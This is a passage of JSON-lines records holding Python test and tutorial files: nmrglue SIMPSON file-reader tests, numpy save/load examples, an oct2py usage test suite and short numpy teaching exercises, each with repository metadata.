{"text": "\nimport nmrglue.fileio.simpson as simpson\nimport numpy as np\nfrom numpy.testing import assert_allclose, assert_raises\nimport os.path\n\nfrom setup import DATA_DIR\n\nDD_1D = os.path.join(DATA_DIR, 'simpson_1d')\nDD_2D = os.path.join(DATA_DIR, 'simpson_2d')\n\ndef test_1d_time():\n    \"\"\" reading 1D time domain files \"\"\"\n    # read the text, binary, xreim, and rawbin data\n    text_dic, text_data = simpson.read(os.path.join(DD_1D, '1d_text.fid'))\n    bin_dic, bin_data = simpson.read(os.path.join(DD_1D, '1d_bin.fid'))\n    xreim_units, xreim_data = simpson.read(os.path.join(DD_1D, '1d_ftext.fid'))\n    rd, rawbin_data = simpson.read(os.path.join(DD_1D, '1d_rawbin.fid'), spe=False, ndim=1)\n  \n    # check data in text file\n    assert text_data.shape == (4096, )\n    assert text_data.dtype == 'complex64'\n    assert round(text_data[0].real, 2) == 2.0\n    assert round(text_data[0].imag, 2) == 0.0\n    assert round(text_data[1].real, 2) == 1.78\n    assert round(text_data[1].imag, 2) == -0.01\n\n    # data in all files should be close\n    assert np.allclose(rawbin_data, text_data)\n    assert np.allclose(rawbin_data, bin_data)\n    assert np.allclose(rawbin_data, xreim_data)\n\n\ndef test_1d_freq():\n    \"\"\" reading 1D freq domain files \"\"\"\n    # read the text, binary, xreim, and rawbin data\n    text_dic, text_data = simpson.read(os.path.join(DD_1D, '1d_text.spe'))\n    bin_dic, bin_data = simpson.read(os.path.join(DD_1D, '1d_bin.spe'))\n    xreim_units, xreim_data = simpson.read(os.path.join(DD_1D, '1d_ftext.spe'))\n    rd, rawbin_data = simpson.read(os.path.join(DD_1D, '1d_rawbin.spe'), spe=True, ndim=1)\n    \n    # check data in text file\n    assert text_data.shape == (4096, )\n    assert text_data.dtype == 'complex64'\n    assert round(text_data[2048].real, 2) == 40.34\n    assert round(text_data[2048].imag, 2) == -1.51\n    assert round(text_data[2049].real, 2) == 39.58\n    assert round(text_data[2049].imag, 2) == -3.97\n\n\n    # data in all file should be close\n    assert np.allclose(rawbin_data, text_data)\n    assert np.allclose(rawbin_data, bin_data)\n    assert np.allclose(rawbin_data, xreim_data)\n\ndef test_2d_time():\n    \"\"\" reading 2D time domain files \"\"\"\n    # read the text, binary, xreim, and rawbin data\n    text_dic, text_data = simpson.read(os.path.join(DD_2D, '2d_text.fid'))\n    bin_dic, bin_data = simpson.read(os.path.join(DD_2D, '2d.fid'))\n    xyreim_units, xyreim_data = simpson.read(os.path.join(DD_2D, '2d_ftext.fid'))\n    rd, rawbin_data = simpson.read(os.path.join(DD_2D, '2d_raw.fid'), NP=128, NI=48, ndim=2, \n                                    spe=False)\n   \n    # check data in text file\n    assert text_data.shape == (48, 128)\n    assert text_data.dtype == 'complex64'\n    assert round(text_data[0,0].real, 2) == 1.00\n    assert round(text_data[0,0].imag, 2) == 0.03\n    assert round(text_data[0,1].real, 2) == 0.75\n    assert round(text_data[0,1].imag, 2) == 0.59\n    assert round(text_data[1,0].real, 2) == 0.89\n    assert round(text_data[1,0].imag, 2) == 0.03\n\n    # data in all files should be close\n    assert np.allclose(rawbin_data, text_data)\n    assert np.allclose(rawbin_data, bin_data)\n    assert np.allclose(rawbin_data, xyreim_data)\n\ndef test_2d_freq():\n    \"\"\" reading 2D freq domain files \"\"\"\n    # read the text, binary, xreim, and rawbin data\n    text_dic, text_data = simpson.read(os.path.join(DD_2D, '2d_text.spe'))\n    bin_dic, bin_data = simpson.read(os.path.join(DD_2D, '2d.spe'))\n    xyreim_units, xyreim_data = simpson.read(os.path.join(DD_2D, '2d_ftext.spe'))\n    rd, rawbin_data = simpson.read(os.path.join(DD_2D, '2d_raw.spe'), ndim=2, NP=256, \n                                    NI=512, spe=True)\n    \n    # check data in text file\n    assert text_data.shape == (512, 256)\n    assert text_data.dtype == 'complex64'\n    assert round(text_data[4, 150].real, 2) == 0.29\n    assert round(text_data[4, 150].imag, 2) == 0.34\n    assert round(text_data[4, 151].real, 2) == 0.13\n    assert round(text_data[4, 151].imag, 2) == 0.16\n    assert round(text_data[5, 150].real, 2) == 0.41\n    assert round(text_data[5, 150].imag, 2) == 0.14\n \n    # data in text, bin and xyreim files should all be close\n    assert np.allclose(text_data, bin_data)\n    assert np.allclose(text_data, xyreim_data)\n    \n    # rawbin should be close except for first point along each vector\n    assert np.allclose(rawbin_data[:, 1:], text_data[:, 1:])\n\ndef test_exceptions_read():\n    \"\"\" raising exceptions due to missing read parameters \"\"\"\n    \n    # missing spe parameter\n    assert_raises(ValueError, simpson.read, os.path.join(DD_1D, '1d_rawbin.fid'))\n\n    # missing ndim parameter\n    assert_raises(ValueError, simpson.read, os.path.join(DD_1D, '1d_rawbin.fid'), spe=False)\n\n    # missing NP/NI parameter\n    assert_raises(ValueError, simpson.read, os.path.join(DD_2D, '2d_raw.fid'), spe=False,\n            ndim=2)\n\n    # bad ftype\n    assert_raises(ValueError, simpson.read, os.path.join(DD_1D, '1d_rawbin.fid'), ftype='a')\n", "meta": {"hexsha": "3df43ce8517eabd2a4ff68a1df07c92b7e411d25", "size": 4956, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_simpson.py", "max_stars_repo_name": "tjragan/nmrglue", "max_stars_repo_head_hexsha": "8a4b42d36d86328b04e4f1fadc5d4b2b4691367b", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-08-25T06:53:57.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-25T06:53:57.000Z", "max_issues_repo_path": "tests/test_simpson.py", "max_issues_repo_name": "tjragan/nmrglue", "max_issues_repo_head_hexsha": "8a4b42d36d86328b04e4f1fadc5d4b2b4691367b", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_simpson.py", "max_forks_repo_name": "tjragan/nmrglue", "max_forks_repo_head_hexsha": "8a4b42d36d86328b04e4f1fadc5d4b2b4691367b", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.958677686, "max_line_length": 93, "alphanum_fraction": 0.6698950767, "include": true, "reason": "import numpy,from numpy", "num_tokens": 1620, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.10970577969958141, "lm_q1q2_score": 0.052283542208895015}}
{"text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\ndef test_save_load():# {{{\n    \"\"\"\n    \u5b58\u50a8\u591a\u4e2a\u6570\u7ec4\u5230\u6587\u4ef6\u4e2d\n    \"\"\"\n    a1 = np.arange(8)\n    a2 = np.add.accumulate(a1)\n    a3 = a1 + a2\n    with open(\"/tmp/save_load.npy\", \"wb\") as fw:\n        np.save(fw, a1)\n        np.save(fw, a2)\n        np.save(fw, a3)\n\n    with open(\"/tmp/save_load.npy\", \"rb\") as fr:\n        b1 = np.load(fr)\n        b2 = np.load(fr)\n        b3 = np.load(fr)\n        # \u518d\u6b21np.load(r)\u4f1a\u6709\u5f02\u5e38\n\n    print(a1, a2, a3)\n    print(b1, b2, b3)\n# }}}\n\ndef test_save_load2():# {{{\n    \"\"\"\n    \u4f4e\u7ea7\u4fdd\u5b58, \u4e0d\u4fdd\u5b58\u6570\u7ec4\u7684\u7ed3\u6784(shape,dtype)\n    \"\"\"\n    arr = np.arange(12)\n    arr.shape = (3, 4)\n    print(arr, arr.shape, arr.dtype)\n\n    arr.tofile(\"/tmp/arr.bin\")\n    arr2 = np.fromfile(\"/tmp/arr.bin\")\n    # \u9519\u8bef, \u9ed8\u8ba4\u662ffloat\u578b\n    print(arr2)\n    arr3 = np.fromfile(\"/tmp/arr.bin\", dtype=np.int64)\n    # \u9519\u8bef, \u4e00\u7ef4\u7684\n    print(arr3)\n    arr3.shape = (3, 4)\n    # \u6b63\u786e\n    print(arr3)\n# }}}\n\ndef test_read_csv():# {{{\n    \"\"\"\n    \u8bfb\u53d6csv\u6587\u4ef6, \u5217\u7c7b\u578b\u4e0d\u7edf\u4e00\u7684\u5904\u7406\n    \"\"\"\n    # loadtxt \u5bf9\u7f16\u7801\u6709\u4e2abug, \u4e34\u65f6\u5982\u4e0b\u89e3\u51b3\n    with open(\"./test.csv\", encoding='latin1') as fp:\n        arr = np.loadtxt(fp, dtype='S', delimiter=',') \n        print(\"arr.shape = \" , arr.shape)\n        for i in range(arr.shape[0]):\n            for j in range(arr.shape[1]):\n                print(arr[i,j].decode('utf-8'))\n        data = arr[1:,1:].astype(np.float) \n        print(data)\n\n    with open(\"./test.csv\", encoding='latin1') as fp:\n        dt = np.dtype({\n            'names':['name', 'age', 'weight', 'height'], \n            'formats':['S32', 'i', 'f', 'f']\n            })\n        # \u5982\u679c\u5217\u4e2d\u6570\u7ec4\u7c7b\u578b\u4e0d\u7edf\u4e00, \u5219\u8fd4\u56de\u6240\u6709\u5217\u4f5c\u4e3a\u4e00\u7ef4\u6570\u636e\n        arr = np.loadtxt(fp, dtype=dt, delimiter=',', skiprows=1) \n        print(\"arr.shape = \" , arr.shape)\n\n        # \u65b9\u6cd51 \u8f6c\u7f6e\n        data = np.transpose(np.array([arr['age'], arr['weight'], arr['height']]))\n        print(\"methd1:\", data)\n\n        # \u65b9\u6cd52 \n        data = np.zeros((3, 3))\n        data[:,0] = arr['age']\n        data[:,1] = arr['weight']\n        data[:,2] = arr['height']\n        print(\"method2:\", data)\n\n    # \u65b9\u6cd53\n    with open(\"./test.csv\", encoding='latin1') as fp:\n        arr = np.loadtxt(fp, delimiter=',', skiprows=1, usecols=(1,2,3))\n        print(arr, arr.shape)\n        \n# }}}\n\ndef test_data_table():# {{{\n    \"\"\"\n    unpack, NAN, MISSING, genfromtxt\n    \"\"\"\n    arr = np.loadtxt(\"./data_table.txt\", skiprows=1)\n    print(arr, arr.shape)\n    # unpack: \u8fd4\u56de\u4e00\u4e2a\u5217\u72ec\u7acb\u6570\u7ec4\n    c1, c2, c3 = np.loadtxt(\"./data_table.txt\", skiprows=1, unpack=True)\n    print(c1, c2, c3)\n\n    # \u5982\u679c\u6587\u4ef6\u4e2d\u6709NAN, \u81ea\u52a8\u5904\u7406, \u4e0d\u4f1a\u589e\u52a0dtype\u7c7b\u578b\n    arr = np.loadtxt(\"./data_table2.txt\", skiprows=1)\n    print(arr, arr.shape)\n\n    # \u5982\u679cskiprows=1,\u5ffd\u7565\n    arr = np.genfromtxt(\"./data_table3.txt\", skip_header=1)\n    print(arr, arr.shape)\n\n    # \u5bf9\u7279\u6b8a\u503c\u8fdb\u884c\u586b\u5145 (\u6bcf\u4e00\u5217\u53ef\u4ee5\u8865\u5145\u4e0d\u540c\u7684\u503c)\n    arr = np.genfromtxt(\"./data_table3.txt\", skip_header=1, \n            missing_values=('MISSING', 'MISSING', 'MISSING'),\n            filling_values=(-999, -888, -777))\n    print(arr, arr.shape)\n# }}}\n\ndef main():\n    test_save_load()\n    test_save_load2() \n    test_read_csv()\n    test_data_table()\n\nif __name__ == \"__main__\":\n    main()\n", "meta": {"hexsha": "9740464577791e28cbff913ea507c48cd21c20d8", "size": 3075, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/learn/numpy/loadsave/test.py", "max_stars_repo_name": "qrsforever/workspace", "max_stars_repo_head_hexsha": "53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2017-06-07T03:20:42.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-07T09:14:26.000Z", "max_issues_repo_path": "python/learn/numpy/loadsave/test.py", "max_issues_repo_name": "qrsforever/workspace", "max_issues_repo_head_hexsha": "53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/learn/numpy/loadsave/test.py", "max_forks_repo_name": "qrsforever/workspace", "max_forks_repo_head_hexsha": "53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.2049180328, "max_line_length": 81, "alphanum_fraction": 0.5284552846, "include": true, "reason": "import numpy", "num_tokens": 1038, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657966593214324, "lm_q2_score": 0.10970577387797077, "lm_q1q2_score": 0.05228354106559056}}
{"text": "from __future__ import absolute_import, print_function\r\nimport os\r\nimport logging\r\nimport pickle\r\nimport tempfile\r\n\r\nfrom IPython.display import Image, SVG\r\nimport numpy as np\r\nimport pytest\r\n\r\nfrom oct2py import Oct2Py, Oct2PyError, Struct, Cell\r\nfrom oct2py.io import MatlabFunction\r\nfrom oct2py.compat import StringIO\r\n\r\n\r\nclass TestUsage:\r\n    \"\"\"Excercise the basic interface of the package\r\n    \"\"\"\r\n    @classmethod\r\n    def setup_class(cls):\r\n        cls.oc = Oct2Py()\r\n        cls.oc.addpath(os.path.realpath(os.path.dirname(__file__)))\r\n\r\n    @classmethod\r\n    def teardown_class(cls):\r\n        cls.oc.exit()\r\n\r\n    def test_run(self):\r\n        \"\"\"Test the run command\r\n        \"\"\"\r\n        out = self.oc.eval('ones(3,3)')\r\n        desired = np.ones((3, 3))\r\n        assert np.allclose(out, desired)\r\n        out = self.oc.eval('ans = mean([[1, 2], [3, 4]])', verbose=True)\r\n        assert out == 2.5\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.eval('_spam')\r\n\r\n    def test_dynamic_functions(self):\r\n        \"\"\"Test some dynamic functions\r\n        \"\"\"\r\n        out = self.oc.ones(1, 2)\r\n        assert np.allclose(out, np.ones((1, 2)))\r\n\r\n        U, S, V = self.oc.svd([[1, 2], [1, 3]], nout=3)\r\n        assert np.allclose(U, ([[-0.57604844, -0.81741556],\r\n                           [-0.81741556, 0.57604844]]))\r\n        assert np.allclose(S, ([[3.86432845, 0.],\r\n                           [0., 0.25877718]]))\r\n        assert np.allclose(V, ([[-0.36059668, -0.93272184],\r\n                           [-0.93272184, 0.36059668]]))\r\n        out = self.oc.roundtrip(1)\r\n        assert out == 1\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.eval('_spam')\r\n\r\n    def test_push_pull(self):\r\n        self.oc.push('spam', [1, 2])\r\n        out = self.oc.pull('spam')\r\n        assert np.allclose(out, np.array([1, 2]))\r\n        self.oc.push(['spam', 'eggs'], ['foo', [1, 2, 3, 4]])\r\n        spam, eggs = self.oc.pull(['spam', 'eggs'])\r\n        assert spam == 'foo'\r\n        assert np.allclose(eggs, np.array([[1, 2, 3, 4]]))\r\n\r\n    def test_help(self):\r\n        \"\"\"Testing help command\r\n        \"\"\"\r\n        doc = self.oc.cos.__doc__\r\n        assert 'Compute the cosine for each element of X in radians.' in doc\r\n\r\n    def test_dynamic(self):\r\n        \"\"\"Test the creation of a dynamic function\r\n        \"\"\"\r\n        tests = [self.oc.zeros, self.oc.ones, self.oc.plot]\r\n        for item in tests:\r\n            assert \"class 'oct2py.dynamic\" in repr(type(item))\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.__getattr__('aaldkfasd')\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.__getattr__('_foo')\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.__getattr__('foo\\W')\r\n\r\n    def test_open_close(self):\r\n        \"\"\"Test opening and closing the Octave session\r\n        \"\"\"\r\n        self.oc.exit()\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.push(name=['a'], var=[1.0])\r\n        self.oc.restart()\r\n        self.oc.push('a', 5)\r\n        a = self.oc.pull('a')\r\n        assert a == 5\r\n\r\n    def test_struct(self):\r\n        \"\"\"Test Struct construct\r\n        \"\"\"\r\n        test = Struct()\r\n        test.spam = 'eggs'\r\n        test.eggs.spam = 'eggs'\r\n        assert test['spam'] == 'eggs'\r\n        assert test['eggs']['spam'] == 'eggs'\r\n        test[\"foo\"][\"bar\"] = 10\r\n        assert test.foo.bar == 10\r\n        p = pickle.dumps(test)\r\n        test2 = pickle.loads(p)\r\n        assert test2['spam'] == 'eggs'\r\n        assert test2['eggs']['spam'] == 'eggs'\r\n        assert test2.foo.bar == 10\r\n        assert 'spam' in test.__dict__\r\n\r\n    def test_syntax_error(self):\r\n        \"\"\"Make sure a syntax error in Octave throws an Oct2PyError\r\n        \"\"\"\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.eval(\"a='1\")\r\n\r\n        if os.name == 'nt':\r\n            self.oc.restart()\r\n\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.eval(\"a=1++3\")\r\n\r\n        if os.name == 'nt':\r\n            self.oc.restart()\r\n\r\n        self.oc.push('a', 1)\r\n        a = self.oc.pull('a')\r\n        assert a == 1\r\n\r\n    def test_extract_figures(self):\r\n        plot_dir = tempfile.mkdtemp().replace('\\\\', '/')\r\n        code = \"\"\"\r\n        figure 1\r\n        plot([1,2,3])\r\n        figure 2\r\n        temp=rand(100,100);\r\n        imshow(temp)\r\n        \"\"\"\r\n        self.oc.eval(code, plot_dir=plot_dir, plot_format='svg')\r\n        imgs = self.oc.extract_figures(plot_dir)\r\n        assert len(imgs) == 2\r\n        assert isinstance(imgs[0], SVG) or isinstance(imgs[1], SVG)\r\n\r\n    def test_quit(self):\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.eval(\"quit\")\r\n        self.oc.eval('a=1')\r\n\r\n    def test_octave_error(self):\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.eval(\"a = ones2(1)\")\r\n\r\n    def test_keyword_arguments(self):\r\n        self.oc.set(0, DefaultFigureColor='b', nout=0)\r\n        plot_dir = tempfile.mkdtemp().replace('\\\\', '/')\r\n        self.oc.plot([1, 2, 3], linewidth=3, plot_dir=plot_dir)\r\n        assert self.oc.extract_figures(plot_dir)\r\n\r\n    def test_octave_function(self):\r\n        func = MatlabFunction([1])\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.push('x', func)\r\n\r\n    def test_bad_getattr(self):\r\n        self.oc.eval('foo = 1')\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.__getattr__('foo')\r\n\r\n    def test_octave_class(self):\r\n        self.oc.addpath(os.path.realpath(os.path.dirname(__file__)))\r\n        polynomial = self.oc.polynomial\r\n        p0 = polynomial([1, 2, 3])\r\n        assert np.allclose(p0.poly, [[1, 2, 3]])\r\n\r\n        p1 = polynomial([0, 1, 2])\r\n        sobj = StringIO()\r\n        hdlr = logging.StreamHandler(sobj)\r\n        hdlr.setLevel(logging.DEBUG)\r\n        self.oc.logger.addHandler(hdlr)\r\n        self.oc.logger.setLevel(logging.DEBUG)\r\n        p1.display(verbose=True, nout=0)\r\n        text = hdlr.stream.getvalue().strip()\r\n        self.oc.logger.removeHandler(hdlr)\r\n        assert 'in poly display' in text\r\n\r\n        self.oc.push('y', p0)\r\n        p2 = self.oc.pull('y')\r\n        assert np.allclose(p2.poly, [1, 2, 3])\r\n\r\n        p2.poly = [2, 3, 4]\r\n        assert np.allclose(p2.poly, [2, 3, 4])\r\n\r\n        assert 'Display a polynomial object' in p2.display.__doc__\r\n\r\n        self.oc.eval('p3 = polynomial([1,2,3])')\r\n        p3 = self.oc.pull('p3')\r\n        assert np.allclose(p3.poly, [1, 2, 3])\r\n\r\n    def test_get_pointer(self):\r\n        self.oc.addpath(os.path.realpath(os.path.dirname(__file__)))\r\n        self.oc.push('y', 1)\r\n        yptr = self.oc.get_pointer('y')\r\n        assert yptr.name == 'y'\r\n        assert yptr.value == 1\r\n        assert yptr.address == 'y'\r\n        yptr.value = 2\r\n        assert yptr.value == 2\r\n        assert self.oc.pull('y') == 2\r\n        assert 'is a variable' in yptr.__doc__\r\n        ones = self.oc.ones(yptr)\r\n        assert ones.shape == (2, 2)\r\n\r\n        onesptr = self.oc.get_pointer('ones')\r\n        assert onesptr.name == 'ones'\r\n        assert onesptr.address == '@ones'\r\n        assert 'ones' in onesptr.__doc__\r\n\r\n        sin = self.oc.get_pointer('sin')\r\n        x = self.oc.quad(sin, 0, self.oc.pi())\r\n        assert x == 2\r\n\r\n        self.oc.eval('p = polynomial([1,2,3])')\r\n        ppter = self.oc.get_pointer('p')\r\n        assert ppter.name == 'p'\r\n        assert ppter.address == 'p'\r\n        p = ppter.value\r\n        assert np.allclose(p.poly, [1, 2, 3])\r\n\r\n        clsptr = self.oc.get_pointer('polynomial')\r\n        value = clsptr([1, 2, 3])\r\n        assert np.allclose(value.poly, [1, 2, 3])\r\n\r\n        with pytest.raises(Oct2PyError):\r\n            self.oc.get_pointer('foo123')\r\n\r\n    def test_feval(self):\r\n        self.oc.addpath(os.path.realpath(os.path.dirname(__file__)))\r\n        a = self.oc.feval('ones', 3)\r\n        assert np.allclose(a, np.ones((3, 3)))\r\n\r\n        self.oc.feval('ones', 3, store_as='foo')\r\n        b = self.oc.pull('foo')\r\n        assert np.allclose(b, np.ones((3, 3)))\r\n\r\n        self.oc.push('x', 3)\r\n        ptr = self.oc.get_pointer('x')\r\n        c = self.oc.feval('ones', ptr)\r\n        assert np.allclose(c, np.ones((3, 3)))\r\n\r\n        p = self.oc.polynomial([1, 2, 3])\r\n        poly = self.oc.feval('get', p, 'poly')\r\n        assert np.allclose(poly, [1, 2, 3])\r\n\r\n        val = self.oc.feval('disp', self.oc.zeros)\r\n        assert val.strip() == '@zeros'\r\n\r\n        lines = []\r\n        self.oc.feval('evalin', 'base', 'disp(1);disp(2);disp(3)',\r\n                      nout=0,\r\n                      stream_handler=lines.append)\r\n        assert lines == [' 1', ' 2', ' 3'], lines\r\n\r\n        val = self.oc.feval('svd', [[1, 2], [1, 3]])\r\n        u, v, d = self.oc.feval('svd', [[1, 2], [1, 3]], nout=3)\r\n        assert isinstance(val, np.ndarray)\r\n        assert isinstance(u, np.ndarray)\r\n\r\n        self.oc.feval('test_nodocstring.m', 1)\r\n        with pytest.raises(TypeError):\r\n            self.oc.feval('test_usage.py')\r\n\r\n    def test_eval(self):\r\n        a = self.oc.eval('ones(3);')\r\n        assert np.allclose(a, np.ones((3, 3)))\r\n\r\n        lines = []\r\n        self.oc.eval('disp(1);disp(2);disp(3)',\r\n                     nout=0,\r\n                     stream_handler=lines.append)\r\n        assert lines == [' 1', ' 2', ' 3'], lines\r\n\r\n        a = self.oc.eval(['zeros(3);', 'ones(3);'])\r\n        assert np.allclose(a, np.ones((3, 3)))\r\n\r\n        U, S, V = self.oc.eval('svd(hilb(3))', nout=3)\r\n        assert isinstance(U, np.ndarray)\r\n\r\n    def test_no_args_returned(self):\r\n        # Test a function that only works when nargout=0\r\n        here = os.path.dirname(__file__)\r\n        self.oc.source(os.path.join(here, 'roundtrip.m'))\r\n\r\n    def test_script_error(self):\r\n        here = os.path.dirname(__file__)\r\n        with pytest.raises(Oct2PyError) as exec_info:\r\n            self.oc.source(os.path.join(here, 'script_error.m'))\r\n        msg = str(exec_info.value)\r\n        assert msg == (\r\n            \"Octave evaluation error:\\nerror: \"\r\n            \"'b' undefined near line 2 column 3\\nerror: called from:\\n    script_error at line 2, column 2\"\r\n        )\r\n\r\n    def test_pkg_load(self):\r\n        self.oc.eval('pkg load signal')\r\n        t = np.linspace(0, 1, num=100)\r\n        x = np.cos(2*np.pi*t*3)\r\n        # on Travis CI this is giving a dimension mismatch error\r\n        try:\r\n            y = self.oc.sgolayfilt(x, 3, 5)\r\n        except Oct2PyError as e:\r\n            if 'dimensions mismatch' in str(e):\r\n                return\r\n        assert y.shape == (1, 100)\r\n\r\n    def test_passing_integer_args(self):\r\n        self.oc.eval(\"\"\"\r\nfunction [res, a, b] = foo(a, b)\r\nres = a * b;\r\nend\r\n\"\"\")\r\n        res, a, b = self.oc.foo(np.nan, 2, nout=3)\r\n        assert np.isnan(res)\r\n        assert np.isnan(a)\r\n        assert b == 2\r\n\r\n    def test_carriage_return(self):\r\n        self.oc.eval(r\"disp('hi\\rthere')\")\r\n", "meta": {"hexsha": "07327ff520845a60b8ce9a7d3df6310032ce33d0", "size": 10861, "ext": "py", "lang": "Python", "max_stars_repo_path": "oct2py/tests/test_usage.py", "max_stars_repo_name": "ankostis/oct2py", "max_stars_repo_head_hexsha": "cebb3f79a8c33365efe3de364d57a9afe3f73c06", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "oct2py/tests/test_usage.py", "max_issues_repo_name": "ankostis/oct2py", "max_issues_repo_head_hexsha": "cebb3f79a8c33365efe3de364d57a9afe3f73c06", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "oct2py/tests/test_usage.py", "max_forks_repo_name": "ankostis/oct2py", "max_forks_repo_head_hexsha": "cebb3f79a8c33365efe3de364d57a9afe3f73c06", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.9121212121, "max_line_length": 108, "alphanum_fraction": 0.5305220514, "include": true, "reason": "import numpy", "num_tokens": 2920, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.10970577387797076, "lm_q1q2_score": 0.05228353943443385}}
{"text": "\"\"\"\nStructured array exercise\n==========================\n\nCreating a structured array.\n\"\"\"\n\nimport numpy as np\nx = np.zeros((10, 10, 4), dtype=np.int8)\nx[:,:,0] = 1\nx[:,:,1] = 2\nx[:,:,2] = 3\nx[:,:,3] = 4\n\n# How to make a (10, 10) structured array with fields 'r', 'g', 'b', 'a',\n# without copying?\n\n# y = ...\n\nassert (y['r'] == 1).all()\nassert (y['g'] == 2).all()\nassert (y['b'] == 3).all()\nassert (y['a'] == 4).all()\n", "meta": {"hexsha": "80965038de44b6585a622e12f86b58f4d32e34c6", "size": 418, "ext": "py", "lang": "Python", "max_stars_repo_path": "advanced/advanced_numpy/examples/view-colors.py", "max_stars_repo_name": "zmoon/scipy-lecture-notes", "max_stars_repo_head_hexsha": "75a89ddedeb48930dbdb6fe25a76e9ef0587ae21", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 2538, "max_stars_repo_stars_event_min_datetime": "2015-01-01T04:58:41.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T21:06:05.000Z", "max_issues_repo_path": "advanced/advanced_numpy/examples/view-colors.py", "max_issues_repo_name": "zmoon/scipy-lecture-notes", "max_issues_repo_head_hexsha": "75a89ddedeb48930dbdb6fe25a76e9ef0587ae21", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 362, "max_issues_repo_issues_event_min_datetime": "2015-01-18T14:16:23.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-18T16:24:34.000Z", "max_forks_repo_path": "advanced/advanced_numpy/examples/view-colors.py", "max_forks_repo_name": "zmoon/scipy-lecture-notes", "max_forks_repo_head_hexsha": "75a89ddedeb48930dbdb6fe25a76e9ef0587ae21", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 1127, "max_forks_repo_forks_event_min_datetime": "2015-01-05T14:39:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-25T08:38:39.000Z", "avg_line_length": 17.4166666667, "max_line_length": 73, "alphanum_fraction": 0.4880382775, "include": true, "reason": "import numpy", "num_tokens": 152, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.1097057680563604, "lm_q1q2_score": 0.05228353665997281}}
{"text": "#twoDimensionalListAndNumpyArray.py\nimport numpy as np\ntwo_dim_list = [[1,2,3,4],[2,3,4,5]]\nprint(two_dim_list)\ntwo_dim_array = np.array(two_dim_list)\nprint(two_dim_array)\n\nfor i in range(len(two_dim_list)):\n    print(two_dim_list[i])\n    print(two_dim_array[i])\n    for j in range(len(two_dim_list[i])):\n        print(two_dim_list[i][j])\n        print(two_dim_array[i][j]) ", "meta": {"hexsha": "08ab22e0fd66ee435a46d81f10fc0bd1454a20f3", "size": 374, "ext": "py", "lang": "Python", "max_stars_repo_path": "Textbook/Chapter 5/twoDimensionalListAndNumpyAray.py", "max_stars_repo_name": "hunterluepke/Learn-Python-for-Stats-and-Econ", "max_stars_repo_head_hexsha": "d580a8e27ba937fc8401ac6d0714b6488ac8bbb6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 16, "max_stars_repo_stars_event_min_datetime": "2019-01-10T18:54:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-28T20:07:20.000Z", "max_issues_repo_path": "Textbook/Chapter 5/twoDimensionalListAndNumpyAray.py", "max_issues_repo_name": "hunterluepke/Learn-Python-for-Stats-and-Econ", "max_issues_repo_head_hexsha": "d580a8e27ba937fc8401ac6d0714b6488ac8bbb6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Textbook/Chapter 5/twoDimensionalListAndNumpyAray.py", "max_forks_repo_name": "hunterluepke/Learn-Python-for-Stats-and-Econ", "max_forks_repo_head_hexsha": "d580a8e27ba937fc8401ac6d0714b6488ac8bbb6", 